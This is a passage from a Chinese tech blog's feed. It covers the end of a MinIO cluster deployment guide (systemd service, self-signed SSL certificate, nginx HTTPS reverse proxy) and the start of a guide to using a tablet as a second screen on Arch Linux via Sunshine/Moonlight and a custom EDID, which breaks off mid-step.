&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;vim &amp;#x2F;usr&amp;#x2F;lib&amp;#x2F;systemd&amp;#x2F;system&amp;#x2F;minio.service
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre data-lang=&quot;ini&quot; class=&quot;language-ini &quot;&gt;&lt;code class=&quot;language-ini&quot; data-lang=&quot;ini&quot;&gt;[Unit]
Description=Minio service
Documentation=https:&amp;#x2F;&amp;#x2F;docs.minio.io&amp;#x2F;

[Service]
WorkingDirectory=&amp;#x2F;home&amp;#x2F;minio&amp;#x2F;run&amp;#x2F;
ExecStart=&amp;#x2F;home&amp;#x2F;minio&amp;#x2F;run&amp;#x2F;minio-run.sh

Restart=on-failure
RestartSec=5

[Install]
WantedBy=multi-user.target

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;修改配置文件后需要重加载配置&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;systemctl daemon-reload
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h6 id=&quot;5-quan-xian-xiu-gai&quot;&gt;5、权限修改&lt;&#x2F;h6&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;chmod +x &amp;#x2F;usr&amp;#x2F;lib&amp;#x2F;systemd&amp;#x2F;system&amp;#x2F;minio.service &amp;amp;&amp;amp; chmod +x &amp;#x2F;home&amp;#x2F;minio&amp;#x2F;run&amp;#x2F;minio &amp;amp;&amp;amp; chmod +x &amp;#x2F;home&amp;#x2F;minio&amp;#x2F;run&amp;#x2F;minio-run.sh
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h6 id=&quot;6-qi-dong-ji-qun&quot;&gt;6、启动集群&lt;&#x2F;h6&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;systemctl start minio
systemctl enable minio
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;查看集群状态&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;lua&quot; class=&quot;language-lua &quot;&gt;&lt;code class=&quot;language-lua&quot; data-lang=&quot;lua&quot;&gt;systemctl status minio.service -l
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;san-nginxfan-xiang-dai-li-yu-fu-zai-jun-heng&quot;&gt;三、Nginx反向代理与负载均衡&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;3-1-an-zhuang-nginx&quot;&gt;3.1 安装nginx&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;arduino&quot; class=&quot;language-arduino &quot;&gt;&lt;code class=&quot;language-arduino&quot; data-lang=&quot;arduino&quot;&gt;apt-get install nginx
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;nginx文件安装完成之后的文件位置：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;&#x2F;usr&#x2F;sbin&#x2F;nginx&lt;&#x2F;code&gt;：主程序&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;&#x2F;etc&#x2F;nginx&lt;&#x2F;code&gt;：存放配置文件&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;&#x2F;usr&#x2F;share&#x2F;nginx&lt;&#x2F;code&gt;：存放静态文件&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;&#x2F;var&#x2F;log&#x2F;nginx&lt;&#x2F;code&gt;：存放日志&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;为了保证安全性，将采用https形式访问minio，下面展示再服务器本地生成ssl证书，并且集成到nginx中。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;3-2-chuang-jian-sslzheng-shu&quot;&gt;3.2 创建SSL证书&lt;&#x2F;h3&gt;
&lt;h6 id=&quot;1-chuang-jian-zheng-shu-mu-lu&quot;&gt;1、创建证书目录&lt;&#x2F;h6&gt;
&lt;pre data-lang=&quot;csharp&quot; class=&quot;language-csharp &quot;&gt;&lt;code class=&quot;language-csharp&quot; data-lang=&quot;csharp&quot;&gt;[root@localhost ~]# cd &amp;#x2F;etc&amp;#x2F;nginx&amp;#x2F;
[root@localhost nginx]# mkdir ssl
[root@localhost nginx]# cd ssl&amp;#x2F;

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h6 id=&quot;2-sheng-cheng-yi-ge-rsami-yao&quot;&gt;2、生成一个RSA密钥&lt;&#x2F;h6&gt;
&lt;pre data-lang=&quot;csharp&quot; class=&quot;language-csharp &quot;&gt;&lt;code class=&quot;language-csharp&quot; data-lang=&quot;csharp&quot;&gt;[root@localhost ssl]#  openssl genrsa -des3 -out nginx.key 1024  #实际使用中看服务器性能，如果足够好也可以使用4096位秘钥
Generating RSA private key, 1024 bit long modulus
.......++++++
...++++++
e is 65537 (0x10001)
Enter pass phrase for nginx.key: 123456                #输入密码，自定义
Verifying - Enter pass phrase for nginx.key: 123456    #确认密码
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h6 id=&quot;3-sheng-cheng-yi-ge-zheng-shu-qing-qiu&quot;&gt;3、生成一个证书请求&lt;&#x2F;h6&gt;
&lt;pre data-lang=&quot;ini&quot; class=&quot;language-ini &quot;&gt;&lt;code class=&quot;language-ini&quot; data-lang=&quot;ini&quot;&gt;[root@localhost ssl]# openssl req -new -key nginx.key -out nginx.csr
Enter pass phrase for nginx.key:                             #输入刚刚创建的秘密码
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter &amp;#x27;.&amp;#x27;, the field will be left blank.
-----
Country Name (2 letter code) [XX]:CN                      #国家名称
State or Province Name (full name) []:JiangSu            #省
Locality Name (eg, city) [Default City]:NanJing          #市
Organization Name (eg, company) [Default Company Ltd]:Dwing     #公司
Organizational Unit Name (eg, section) []:Tech     #部门
Common Name (eg, your name or your server&amp;#x27;s hostname) []:*.generalstorage.com       #注意，此处应当填写你要部署的域名，如果是单个则直接添加即可，如果不确定，使用*，表示可以对所有generalstorage.com的子域名做认证
Email Address []:admin@generalstorage.com    #以域名结尾即可

Please enter the following &amp;#x27;extra&amp;#x27; attributes
to be sent with your certificate request
A challenge password []:        #是否设置密码，可以不写直接回车
An optional company name []:    #其他公司名称 可不写
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h6 id=&quot;4-chuang-jian-bu-xu-yao-shu-ru-mi-ma-de-rsazheng-shu-fou-ze-mei-ci-reload-restartdu-xu-yao-shu-ru-mi-ma&quot;&gt;4、创建不需要输入密码的RSA证书，否则每次reload、restart都需要输入密码&lt;&#x2F;h6&gt;
&lt;pre data-lang=&quot;vbnet&quot; class=&quot;language-vbnet &quot;&gt;&lt;code class=&quot;language-vbnet&quot; data-lang=&quot;vbnet&quot;&gt;[root@localhost ssl]# openssl rsa -in nginx.key -out nginx_nopass.key
Enter pass phrase for nginx.key:        #之前RSA秘钥创建时的密码
writing RSA key
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h6 id=&quot;5-qian-fa-zheng-shu-you-yu-shi-ce-shi-zi-ji-qian-fa-shi-ji-ying-gai-jiang-zi-ji-sheng-cheng-de-csrwen-jian-ti-jiao-gei-sslren-zheng-ji-gou-ren-zheng&quot;&gt;5、签发证书(由于是测试自己签发，实际应该将自己生成的csr文件提交给SSL认证机构认证)&lt;&#x2F;h6&gt;
&lt;pre data-lang=&quot;ini&quot; class=&quot;language-ini &quot;&gt;&lt;code class=&quot;language-ini&quot; data-lang=&quot;ini&quot;&gt;[root@localhost ssl]# openssl x509 -req -days 3650 -in nginx.csr  -signkey nginx.key -out nginx.crt
Signature ok
subject=&amp;#x2F;C=CN&amp;#x2F;ST=JiangSu&amp;#x2F;L=NanJing&amp;#x2F;O=Dwing&amp;#x2F;OU=Tech&amp;#x2F;CN=*.generalstorage.com&amp;#x2F;emailAddress=admin@generalstorage.com
Getting Private key
Enter pass phrase for nginx.key:          #RSA创建时的密码
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;3-3-pei-zhi-nginx&quot;&gt;3.3 配置Nginx&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;ini&quot; class=&quot;language-ini &quot;&gt;&lt;code class=&quot;language-ini&quot; data-lang=&quot;ini&quot;&gt;server {
	listen      80 default_server;
	listen      [::]:80 default_server;
	server_name test.generalstorage.com;
	include 	&amp;#x2F;etc&amp;#x2F;nginx&amp;#x2F;default.d&amp;#x2F;*.conf;
	return      301 https:&amp;#x2F;&amp;#x2F;$server_name$request_uri;    #在80监听端口 配置跳转
}
server {
	listen       443 ssl http2 default_server;
	listen       [::]:443 ssl http2 default_server;
	server_name test.generalstorage.com;
	client_max_body_size 20M;
	charset utf-8;
	ssl_certificate &amp;quot;&amp;#x2F;etc&amp;#x2F;nginx&amp;#x2F;ssl&amp;#x2F;nginx.crt&amp;quot;;   #
    ssl_certificate_key &amp;quot;&amp;#x2F;etc&amp;#x2F;nginx&amp;#x2F;ssl&amp;#x2F;nginx_nopass.key&amp;quot;;
    ssl_session_cache shared:SSL:1m;
    ssl_session_timeout  10m;
    ssl_ciphers HIGH:!aNULL:!MD5;
	ssl_prefer_server_ciphers on;
	location &amp;#x2F;{
		proxy_set_header  Host       $host;
        proxy_set_header  X-Real-IP    $remote_addr;
        proxy_set_header  X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_pass http:&amp;#x2F;&amp;#x2F;minio_server;
	}
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;ssl_certificate证书其实是个公钥，它会被发送到连接服务器的每个客户端，ssl_certificate_key私钥是用来解密的，所以它的权限要得到保护但nginx的主进程能够读取。当然私钥和证书可以放在一个证书文件中，这种方式也只有公钥证书才发送到client。&lt;&#x2F;li&gt;
&lt;li&gt;ssl_session_timeout 客户端可以重用会话缓存中ssl参数的过期时间，内网系统默认5分钟太短了，可以设成30m即30分钟甚至4h。&lt;&#x2F;li&gt;
&lt;li&gt;ssl_protocols指令用于启动特定的加密协议，nginx在1.1.13和1.0.12版本后默认是ssl_protocols SSLv3 TLSv1 TLSv1.1 TLSv1.2，TLSv1.1与TLSv1.2要确保OpenSSL &amp;gt;= 1.0.1 ，SSLv3 现在还有很多地方在用但有不少被攻击的漏洞。&lt;&#x2F;li&gt;
&lt;li&gt;ssl_ciphers选择加密套件，不同的浏览器所支持的套件（和顺序）可能会不同。这里指定的是OpenSSL库能够识别的写法，你可以通过 openssl -v cipher ‘RC4:HIGH:!aNULL:!MD5’（后面是你所指定的套件加密算法） 来看所支持算法。&lt;&#x2F;li&gt;
&lt;li&gt;ssl_prefer_server_ciphers on设置协商加密算法时，优先使用我们服务端的加密套件，而不是客户端浏览器的加密套件。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h6 id=&quot;qi-dong-fu-wu&quot;&gt;启动服务&lt;&#x2F;h6&gt;
&lt;pre data-lang=&quot;csharp&quot; class=&quot;language-csharp &quot;&gt;&lt;code class=&quot;language-csharp&quot; data-lang=&quot;csharp&quot;&gt;[root@localhost nginx]# nginx -t
nginx: the configuration file &amp;#x2F;etc&amp;#x2F;nginx&amp;#x2F;nginx.conf syntax is ok
nginx: configuration file &amp;#x2F;etc&amp;#x2F;nginx&amp;#x2F;nginx.conf test is successful
[root@localhost nginx]# systemctl restart nginx
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h6 id=&quot;ben-di-hostsbang-ding-yu-ming&quot;&gt;本地hosts绑定域名&lt;&#x2F;h6&gt;
&lt;pre&gt;&lt;code&gt;192.168.3.17 test.generalstorage.com
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;si-minioye-mian-zhan-shi&quot;&gt;四、minio页面展示&lt;&#x2F;h2&gt;
&lt;p&gt;浏览器中输入：&lt;code&gt;https:&#x2F;&#x2F;test.generalstorage.com&#x2F;&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;输入账号&#x2F;密码：&lt;strong&gt;admin&lt;&#x2F;strong&gt;&#x2F;&lt;strong&gt;admin123&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;minio-cluster&#x2F;minio-console-dashboard.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>在Arch Linux上使用Sunshine和Moonlight实现使用平板电脑作为副屏</title>
        <published>2025-12-10T00:00:00+00:00</published>
        <updated>2025-12-10T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/在arch-linux上使用sunshine和moonlight实现使用平板电脑作为副屏/"/>
        <id>https://vercel.juzhong.asia/obsidian/在arch-linux上使用sunshine和moonlight实现使用平板电脑作为副屏/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/在arch-linux上使用sunshine和moonlight实现使用平板电脑作为副屏/">&lt;h1 id=&quot;zai-arch-linuxshang-shi-yong-sunshinehe-moonlightshi-xian-shi-yong-ping-ban-dian-nao-zuo-wei-fu-ping&quot;&gt;在Arch Linux上使用Sunshine和Moonlight实现使用平板电脑作为副屏&lt;&#x2F;h1&gt;
&lt;hr &#x2F;&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.rainafter.cn&#x2F;posts&#x2F;%E5%9C%A8arch-linux%E4%B8%8A%E4%BD%BF%E7%94%A8sunshine%E5%92%8Cmoonlight%E5%AE%9E%E7%8E%B0%E4%BD%BF%E7%94%A8%E5%B9%B3%E6%9D%BF%E7%94%B5%E8%84%91%E4%BD%9C%E4%B8%BA%E5%89%AF%E5%B1%8F&#x2F;&quot;&gt;https:&#x2F;&#x2F;www.rainafter.cn&#x2F;posts&#x2F;在arch-linux上使用sunshine和moonlight实现使用平板电脑作为副屏&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;现在的Arch默认使用Wayland，这使得之前不少资料中的通过创建虚拟显示器的方法失效（因为大多使用X11），在经过一段时间查资料后得到了完整的在Arch Linux的Wayland环境下创建虚拟显示器并自建EDID文件实现与平板屏幕分辨率对应、并配合Sunshine+Moonlight的方式实现使用平板作为虚拟显示器的方法&lt;&#x2F;p&gt;
&lt;h2 id=&quot;yi-an-zhuang-sunshine&quot;&gt;一、安装Sunshine&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.rainafter.cn&#x2F;posts&#x2F;%E5%9C%A8arch-linux%E4%B8%8A%E4%BD%BF%E7%94%A8sunshine%E5%92%8Cmoonlight%E5%AE%9E%E7%8E%B0%E4%BD%BF%E7%94%A8%E5%B9%B3%E6%9D%BF%E7%94%B5%E8%84%91%E4%BD%9C%E4%B8%BA%E5%89%AF%E5%B1%8F&#x2F;#%E4%B8%80%E5%AE%89%E8%A3%85sunshine&quot;&gt;#&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;在Arch中可以使用Extra软件源中的正式版的&lt;code&gt;sunshine&lt;&#x2F;code&gt;，也可以使用AUR软件源中的预发布版&lt;code&gt;sunshine-beta-bin&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;wrap&quot; class=&quot;language-wrap &quot;&gt;&lt;code class=&quot;language-wrap&quot; data-lang=&quot;wrap&quot;&gt;sudo pacman -S sunshine
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre data-lang=&quot;wrap&quot; class=&quot;language-wrap &quot;&gt;&lt;code class=&quot;language-wrap&quot; data-lang=&quot;wrap&quot;&gt;yay -S sunshine-beta-bin
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;两者二选一即可，但是在安装后的实际体验来看，本人使用sunshine时出现了在Wayland下不能正常硬件编码的问题，经测试后sunshine-beta-bin正常。故最后选用了AUR软件源中的sunshine-beta-bin&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;NOTE就本文写作时间来看，sunshine的版本号是（2025.122.141614-7），sunshine-beta-bin的版本号是（2025.608.232654-1）&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;er-zai-waylandxia-pei-zhi-xu-ni-xian-shi-qi&quot;&gt;二、在Wayland下配置虚拟显示器&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.rainafter.cn&#x2F;posts&#x2F;%E5%9C%A8arch-linux%E4%B8%8A%E4%BD%BF%E7%94%A8sunshine%E5%92%8Cmoonlight%E5%AE%9E%E7%8E%B0%E4%BD%BF%E7%94%A8%E5%B9%B3%E6%9D%BF%E7%94%B5%E8%84%91%E4%BD%9C%E4%B8%BA%E5%89%AF%E5%B1%8F&#x2F;#%E4%BA%8C%E5%9C%A8wayland%E4%B8%8B%E9%85%8D%E7%BD%AE%E8%99%9A%E6%8B%9F%E6%98%BE%E7%A4%BA%E5%99%A8&quot;&gt;#&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;配置虚拟显示器的方式分为两类：一种是已有显卡欺骗器硬件的方式，另一种是通过创建虚拟显示器的方式。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;2-1-yi-you-xian-qia-qi-pian-qi-ying-jian-de-fang-shi&quot;&gt;2.1. 已有显卡欺骗器硬件的方式&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.rainafter.cn&#x2F;posts&#x2F;%E5%9C%A8arch-linux%E4%B8%8A%E4%BD%BF%E7%94%A8sunshine%E5%92%8Cmoonlight%E5%AE%9E%E7%8E%B0%E4%BD%BF%E7%94%A8%E5%B9%B3%E6%9D%BF%E7%94%B5%E8%84%91%E4%BD%9C%E4%B8%BA%E5%89%AF%E5%B1%8F&#x2F;#21-%E5%B7%B2%E6%9C%89%E6%98%BE%E5%8D%A1%E6%AC%BA%E9%AA%97%E5%99%A8%E7%A1%AC%E4%BB%B6%E7%9A%84%E6%96%B9%E5%BC%8F&quot;&gt;#&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;这种方式需要有显卡欺骗器硬件，可以直接插入电脑的HDMI接口，系统会自动识别为一个虚拟显示器。如果正好有显卡欺骗器的话，直接在电脑上插入显卡欺骗器即可解决问题，如果没有显卡欺骗器，请参考2.2部分来创建虚拟显示器。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;TIP即使已有显卡欺骗器硬件，也依然建议参考2.3部分通过修改EDID文件将显示器分辨率修改为平板电脑的原生分辨率，可以极大的提升使用体验。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h3 id=&quot;2-2-chuang-jian-xu-ni-xian-shi-qi-de-fang-shi&quot;&gt;2.2. 创建虚拟显示器的方式&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.rainafter.cn&#x2F;posts&#x2F;%E5%9C%A8arch-linux%E4%B8%8A%E4%BD%BF%E7%94%A8sunshine%E5%92%8Cmoonlight%E5%AE%9E%E7%8E%B0%E4%BD%BF%E7%94%A8%E5%B9%B3%E6%9D%BF%E7%94%B5%E8%84%91%E4%BD%9C%E4%B8%BA%E5%89%AF%E5%B1%8F&#x2F;#22-%E5%88%9B%E5%BB%BA%E8%99%9A%E6%8B%9F%E6%98%BE%E7%A4%BA%E5%99%A8%E7%9A%84%E6%96%B9%E5%BC%8F&quot;&gt;#&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;在Wayland环境下，类似于使用&lt;code&gt;XrandR&lt;&#x2F;code&gt;工具等大多数创建虚拟显示器的方法均已经失效，经过反复尝试，最终找到了一种通过创建虚拟显示器的方式来实现的办法。 这种方式使用了&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;内核级显示模式（KMS）&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;来创建虚拟显示器，并通过&lt;code&gt;强制设置显示模式&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;与&lt;code&gt;自定义EDID&lt;&#x2F;code&gt;的方式创建与平板电脑分辨率相同的虚拟显示器，其中的具体步骤如下：&lt;&#x2F;p&gt;
&lt;h4 id=&quot;2-2-1-chuang-jian-xu-ni-xian-shi-qi&quot;&gt;2.2.1. 创建虚拟显示器&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.rainafter.cn&#x2F;posts&#x2F;%E5%9C%A8arch-linux%E4%B8%8A%E4%BD%BF%E7%94%A8sunshine%E5%92%8Cmoonlight%E5%AE%9E%E7%8E%B0%E4%BD%BF%E7%94%A8%E5%B9%B3%E6%9D%BF%E7%94%B5%E8%84%91%E4%BD%9C%E4%B8%BA%E5%89%AF%E5%B1%8F&#x2F;#221-%E5%88%9B%E5%BB%BA%E8%99%9A%E6%8B%9F%E6%98%BE%E7%A4%BA%E5%99%A8&quot;&gt;#&lt;&#x2F;a&gt;&lt;&#x2F;h4&gt;
&lt;p&gt;使用&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;强制设置显示模式&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;来创建虚拟显示器时需要修改Grub的内核参数，具体步骤如下：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;打开GRUB配置文件&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre data-lang=&quot;wrap&quot; class=&quot;language-wrap &quot;&gt;&lt;code class=&quot;language-wrap&quot; data-lang=&quot;wrap&quot;&gt;sudo vim &amp;#x2F;etc&amp;#x2F;default&amp;#x2F;grub
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ol start=&quot;2&quot;&gt;
&lt;li&gt;找到并在&lt;code&gt;GRUB_CMDLINE_LINUX_DEFAULT&lt;&#x2F;code&gt;一行中(一般在文件的靠前部分)添加参数&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre data-lang=&quot;wrap&quot; class=&quot;language-wrap &quot;&gt;&lt;code class=&quot;language-wrap&quot; data-lang=&quot;wrap&quot;&gt;# GRUB boot loader configurationGRUB_DEFAULT=0GRUB_TIMEOUT=5GRUB_DISTRIBUTOR=&amp;quot;Arch&amp;quot;GRUB_CMDLINE_LINUX_DEFAULT=&amp;quot;loglevel=5 nowatchdog nvidia_drm.modeset=1&amp;quot;GRUB_CMDLINE_LINUX_DEFAULT=&amp;quot;loglevel=5 nowatchdog nvidia_drm.modeset=1 video=HDMI-A-3:e&amp;quot;# xxx为你的未使用的HDMI接口号，由于是强制创建虚拟显示器，只要不占用已用接口，此处填任何数字均可以，示例填写为video=HDMI-A-3:eGRUB_CMDLINE_LINUX=&amp;quot;&amp;quot;GRUB_DISABLE_OS_PROBER=false# Preload both GPT and MBR modules so that they are not missedGRUB_PRELOAD_MODULES=&amp;quot;part_gpt part_msdos&amp;quot;# Uncomment to enable booting from LUKS encrypted devices#GRUB_ENABLE_CRYPTODISK=y# Set to &amp;#x27;countdown&amp;#x27; or &amp;#x27;hidden&amp;#x27; to change timeout behavior,# press ESC key to display menu.GRUB_TIMEOUT_STYLE=menu# Uncomment to use basic consoleGRUB_TERMINAL_INPUT=console
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ol start=&quot;3&quot;&gt;
&lt;li&gt;保存并退出编辑器。&lt;&#x2F;li&gt;
&lt;li&gt;更新Grub配置。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre data-lang=&quot;wrap&quot; class=&quot;language-wrap &quot;&gt;&lt;code class=&quot;language-wrap&quot; data-lang=&quot;wrap&quot;&gt;sudo grub-mkconfig -o &amp;#x2F;boot&amp;#x2F;grub&amp;#x2F;grub.cfg
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ol start=&quot;5&quot;&gt;
&lt;li&gt;重启系统后即可看到成功创建了一个虚拟显示器，此时我们已经可以通过iPad或其他Android Pad等平板电脑使用MoonLight串流到Arch Linux来将平板电脑作为一个副屏。&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;arch-sunshine-tablet-screen&#x2F;kms-virtual-display.jpg&quot; alt=&quot;通过KMS的强制设置显示模式创建的虚拟显示器&quot; &#x2F;&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;blockquote&gt;
&lt;p&gt;通过KMS的强制设置显示模式创建的虚拟显示器&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;ol start=&quot;6&quot;&gt;
&lt;li&gt;虚拟显示器成功创建后，默认的分辨率为电脑内置屏幕的标准分辨率，为了便于之后通过iPad或其他Android Pad等平板电脑使用MoonLight串流时能够将铺满整个平板电脑的屏幕，强烈建议通过接下来的创建并修改EDID文件的方式，将创建的虚拟显示器分辨率调整为平板电脑的原生分辨率来获得更优秀的使用体验。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h3 id=&quot;2-3-chuang-jian-edidwen-jian&quot;&gt;2.3. 创建EDID文件&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.rainafter.cn&#x2F;posts&#x2F;%E5%9C%A8arch-linux%E4%B8%8A%E4%BD%BF%E7%94%A8sunshine%E5%92%8Cmoonlight%E5%AE%9E%E7%8E%B0%E4%BD%BF%E7%94%A8%E5%B9%B3%E6%9D%BF%E7%94%B5%E8%84%91%E4%BD%9C%E4%B8%BA%E5%89%AF%E5%B1%8F&#x2F;#23-%E5%88%9B%E5%BB%BAedid%E6%96%87%E4%BB%B6&quot;&gt;#&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;h4 id=&quot;2-3-1-gen-ju-yi-you-xian-shi-qi-dao-chu-edidwen-jian&quot;&gt;2.3.1 根据已有显示器导出EDID文件&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.rainafter.cn&#x2F;posts&#x2F;%E5%9C%A8arch-linux%E4%B8%8A%E4%BD%BF%E7%94%A8sunshine%E5%92%8Cmoonlight%E5%AE%9E%E7%8E%B0%E4%BD%BF%E7%94%A8%E5%B9%B3%E6%9D%BF%E7%94%B5%E8%84%91%E4%BD%9C%E4%B8%BA%E5%89%AF%E5%B1%8F&#x2F;#231-%E6%A0%B9%E6%8D%AE%E5%B7%B2%E6%9C%89%E6%98%BE%E7%A4%BA%E5%99%A8%E5%AF%BC%E5%87%BAedid%E6%96%87%E4%BB%B6&quot;&gt;#&lt;&#x2F;a&gt;&lt;&#x2F;h4&gt;
&lt;p&gt;在创建虚拟显示器之前，需要先创建一个EDID文件，其中EDID（Extended Display Identification Data）是显示器的识别数据，可以通过以下命令来获取：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;首先找到系统连接到的虚拟显示器&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre data-lang=&quot;wrap&quot; class=&quot;language-wrap &quot;&gt;&lt;code class=&quot;language-wrap&quot; data-lang=&quot;wrap&quot;&gt;# 找出您的虚拟显示器路径find &amp;#x2F;sys&amp;#x2F;devices&amp;#x2F; -name edid -type f
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;此处会列举出很多显示器，在这里可以根据显示器所连接到的显卡来判断哪一个是虚拟显示器。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;TIP如果在这一步不确定哪一个是新添加的虚拟显示器的EDID文件，也可以导出任意一个显示器的EDID文件（例如笔记本电脑的内置屏幕），然后在后续的步骤中自定义EDID文件修改显示器的分辨率即可。（经测试基本上没有任何影响）&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;ol start=&quot;2&quot;&gt;
&lt;li&gt;再将虚拟显示器的EDID数据复制到一个想要保存的目录中（该目录需要记住，接下来的步骤中会使用到该目录）&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre data-lang=&quot;wrap&quot; class=&quot;language-wrap &quot;&gt;&lt;code class=&quot;language-wrap&quot; data-lang=&quot;wrap&quot;&gt;# 复制 EDID 数据 (替换路径为上面找到的实际路径)sudo cp &amp;#x2F;sys&amp;#x2F;devices&amp;#x2F;pci0000:00&amp;#x2F;0000:00:02.0&amp;#x2F;drm&amp;#x2F;card0&amp;#x2F;card1-HDMI-A-3&amp;#x2F;edid &amp;#x2F;xxxx想要保存到的路径xxxx&amp;#x2F;edid.bin
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
